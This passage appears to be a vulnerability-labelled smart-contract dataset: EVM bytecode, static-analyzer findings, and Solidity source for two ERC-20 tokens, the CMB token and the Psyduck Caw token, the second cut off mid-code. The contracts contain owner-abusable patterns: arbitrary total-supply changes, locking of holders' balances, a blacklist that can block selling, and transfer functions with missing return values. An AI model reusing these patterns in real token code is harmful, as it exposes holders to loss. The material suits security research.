60208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,643
0xe541b34f73a4789a033a962ad43655221b4e516e
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns(bool) { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns(bool) { super.transferFrom(_from, _to, _value); } } /** * @title CMBToken Contract */ contract CMBToken is PausableToken { using SafeMath for uint256; string public constant name = "Creatanium"; string public constant symbol = "CMB"; uint8 public constant decimals = 18; uint256 public constant initialSupply_ = 2000000000 * (10 ** uint256(decimals)); uint256 public mintedSupply_ = 0; mapping(address => uint256) lockedBalances; event Mint(address _to, uint256 amount); event TokensLocked(address beneficiary, uint256 amount); event TokensUnlocked(address beneficiary, uint256 amount); modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = initialSupply_; balances[msg.sender] = balances[msg.sender].add(initialSupply_); emit Transfer(address(0), msg.sender, initialSupply_); } /** * @dev Function to mint tokens * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( uint256 _amount ) public hasMintPermission whenNotPaused returns (bool) { require(mintedSupply_.add(_amount)<=totalSupply_); require(_amount > 0); mintedSupply_ = mintedSupply_.add(_amount); balances[msg.sender] = balances[msg.sender].add(_amount); emit Mint(msg.sender, _amount); emit Transfer(address(0), msg.sender, _amount); return true; } function setTotalSupply(uint256 _value) public onlyOwner { require(_value >= totalSupply_); totalSupply_= 0; totalSupply_ = totalSupply_.add(_value); } function sendToInvestor(address _to, uint256 _value) public onlyOwner { transfer(_to, _value); } function lockedBalanceOf(address _owner) public view returns (uint256) { return lockedBalances[_owner]; } function lockTokens(address _beneficiary, uint _value) public onlyOwner { require(_value <= balances[_beneficiary]); require(_beneficiary != address(0)); balances[_beneficiary] = balances[_beneficiary].sub(_value); lockedBalances[_beneficiary] = lockedBalances[_beneficiary].add(_value); emit TokensLocked(_beneficiary, _value); } function unlockTokens(address _beneficiary, uint _value) public onlyOwner { require(_value <= lockedBalances[_beneficiary]); require(_beneficiary != address(0)); lockedBalances[_beneficiary] = lockedBalances[_beneficiary].sub(_value); balances[_beneficiary] = balances[_beneficiary].add(_value); emit TokensUnlocked(_beneficiary, _value); } function () external payable { require(owner.send(msg.value)); } }
0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461017d578063095ea7b31461020757806318160ddd1461023f57806323b872dd14610266578063313ce56714610290578063314c9e0a146102bb5780633f4ba83a146102d057806359355736146102e55780635c975abb14610306578063661884631461031b57806370a082311461033f578063715018a6146103605780638456cb59146103755780638da5cb5b1461038a578063905358fe146103bb57806395d89b41146103d05780639d564d9a146103e5578063a0712d6814610409578063a9059cbb14610421578063b0b189ca14610445578063b1c2558614610469578063d73dd6231461048d578063dd62ed3e146104b1578063f2fde38b146104d8578063f7ea7a3d146104f9575b600354604051600160a060020a03909116903480156108fc02916000818181858888f19350505050151561017b57600080fd5b005b34801561018957600080fd5b50610192610511565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cc5781810151838201526020016101b4565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021357600080fd5b5061022b600160a060020a0360043516602435610548565b604080519115158252519081900360200190f35b34801561024b57600080fd5b506102546105ae565b60408051918252519081900360200190f35b34801561027257600080fd5b5061022b600160a060020a03600435811690602435166044356105b4565b34801561029c57600080fd5b506102a56105e1565b6040805160ff9092168252519081900360200190f35b3480156102c757600080fd5b506102546105e6565b3480156102dc57600080fd5b5061017b6105ec565b3480156102f157600080fd5b50610254600160a060020a0360043516610664565b34801561031257600080fd5b5061022b61067f565b34801561032757600080fd5b5061022b600160a060020a036004351660243561068f565b34801561034b57600080fd5b50610254600160a060020a0360043516610780565b34801561036c57600080fd5b5061017b61079b565b34801561038157600080fd5b5061017b610809565b34801561039657600080fd5b5061039f610886565b60408051600160a060020a039092168252519081900360200190f35b3480156103c757600080fd5b50610254610895565b3480156103dc57600080fd5b506101926108a5565b3480156103f157600080fd5b5061017b600160a060020a03600435166024356108dc565b34801561041557600080fd5b5061022b6004356109e4565b34801561042d57600080fd5b5061022b600160a060020a0360043516602435610b06565b34801561045157600080fd5b5061017b600160a060020a0360043516602435610b2a565b34801561047557600080fd5b5061017b600160a060020a0360043516602435610b50565b34801561049957600080fd5b5061022b600160a060020a0360043516602435610c59565b3480156104bd57600080fd5b50610254600160a060020a0360043581169060243516610cf2565b3480156104e457600080fd5b5061017b600160a060020a0360043516610d1d565b34801561050557600080fd5b5061017b600435610d40565b60408051808201909152600a81527f4372656174616e69756d00000000000000000000000000000000000000000000602082015281565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b60035460009060a060020a900460ff16156105ce57600080fd5b6105d9848484610d83565b509392505050565b601281565b60045481565b600354600160a060020a0316331461060357600080fd5b60035460a060020a900460ff16151561061b57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600160a060020a031660009081526005602052604090205490565b60035460a060020a900460ff1681565b336000908152600160209081526040808320600160a060020a03861684529091528120548083106106e357336000908152600160209081526040808320600160a060020a0388168452909152812055610718565b6106f3818463ffffffff610ef816565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146107b257600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a0316331461082057600080fd5b60035460a060020a900460ff161561083757600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6b06765c793fa10079d000000081565b60408051808201909152600381527f434d420000000000000000000000000000000000000000000000000000000000602082015281565b600354600160a060020a031633146108f357600080fd5b600160a060020a03821660009081526005602052604090205481111561091857600080fd5b600160a060020a038216151561092d57600080fd5b600160a060020a038216600090815260056020526040902054610956908263ffffffff610ef816565b600160a060020a038316600090815260056020908152604080832093909355819052205461098a908263ffffffff610f0f16565b600160a060020a0383166000818152602081815260409182902093909355805191825291810183905281517fe7b379c6c1fa169e9079c25e9143b127637eef8ec8c9d5c06ddb4ab3e1195888929181900390910190a15050565b600354600090600160a060020a031633146109fe57600080fd5b60035460a060020a900460ff1615610a1557600080fd5b600254600454610a2b908463ffffffff610f0f16565b1115610a3657600080fd5b60008211610a4357600080fd5b600454610a56908363ffffffff610f0f16565b60045533600090815260208190526040902054610a79908363ffffffff610f0f16565b336000818152602081815260409182902093909355805191825291810184905281517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885929181900390910190a160408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001919050565b60035460009060a060020a900460ff1615610b2057600080fd5b6107798383610f28565b600354600160a060020a03163314610b4157600080fd5b610b4b8282610b06565b505050565b600354600160a060020a03163314610b6757600080fd5b600160a060020a038216600090815260208190526040902054811115610b8c57600080fd5b600160a060020a0382161515610ba157600080fd5b600160a060020a038216600090815260208190526040902054610bca908263ffffffff610ef816565b600160a060020a03831660009081526020818152604080832093909355600590522054610bfd908263ffffffff610f0f16565b600160a060020a03831660008181526005602090815260409182902093909355805191825291810183905281517fac87f20a77d28ee8bbb58ec87ea8fa968b3393efae1a368fd50b767c2847391c929181900390910190a15050565b336000908152600160209081526040808320600160a060020a0386168452909152812054610c8d908363ffffffff610f0f16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600354600160a060020a03163314610d3457600080fd5b610d3d81611007565b50565b600354600160a060020a03163314610d5757600080fd5b600254811015610d6657600080fd5b60006002819055610d7d908263ffffffff610f0f16565b60025550565b600160a060020a038316600090815260208190526040812054821115610da857600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054821115610dd857600080fd5b600160a060020a0383161515610ded57600080fd5b600160a060020a038416600090815260208190526040902054610e16908363ffffffff610ef816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610e4b908363ffffffff610f0f16565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610e8d908363ffffffff610ef816565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60008083831115610f0857600080fd5b5050900390565b600082820183811015610f2157600080fd5b9392505050565b33600090815260208190526040812054821115610f4457600080fd5b600160a060020a0383161515610f5957600080fd5b33600090815260208190526040902054610f79908363ffffffff610ef816565b3360009081526020819052604080822092909255600160a060020a03851681522054610fab908363ffffffff610f0f16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a038116151561101c57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820b2bb6aca64444c9ec609d3e629396b09ec0989016bdc22ca98f85da3818d89100029
{"success": true, "error": null, "results": {}}
7,644
0x28de1f31490ff5680d686ac0b56ac3d8206a710d
/** *Submitted for verification at Etherscan.io on 2022-04-24 */ // SPDX-License-Identifier: UNLICENSED /* https://t.me/psyduckcaw https://psyduckcaw.com/ Quack Quack~ Psyduck Psyduck~~ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PSYDUCK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tfee; uint256 private _mfee; uint256 private _sellFee; uint256 private _buyFee; address payable private _feeAddress; string private constant _name = "Psyduck Caw"; string private constant _symbol = "PSYDUCK"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingStarted; bool private inSwap = false; bool private swapEnable = false; bool private removeMaxTxn = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHeldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxHeldAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _buyFee = 10; _sellFee = 10; _feeAddress = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTxn(bool onoff) external onlyOwner() { removeMaxTxn = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _tfee = 0; _mfee = _buyFee; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTxn) { uint walletBalance = balanceOf(address(to)); require(amount <= _maxTxAmount); require(amount.add(walletBalance) <= _maxHeldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tfee = 0; _mfee = _sellFee; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnable) { uint burnAmount = contractTokenBalance/4; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount , uint256 maxHeldAmount) external onlyOwner() { if (maxTxAmount > 20000000 * 10**9) { _maxTxAmount = maxTxAmount; _maxHeldAmount = maxHeldAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingStarted,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnable = true; removeMaxTxn = true; _maxTxAmount = 20000000 * 10**9; _maxHeldAmount = 20000000 * 10**9; tradingStarted = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tfee, _mfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 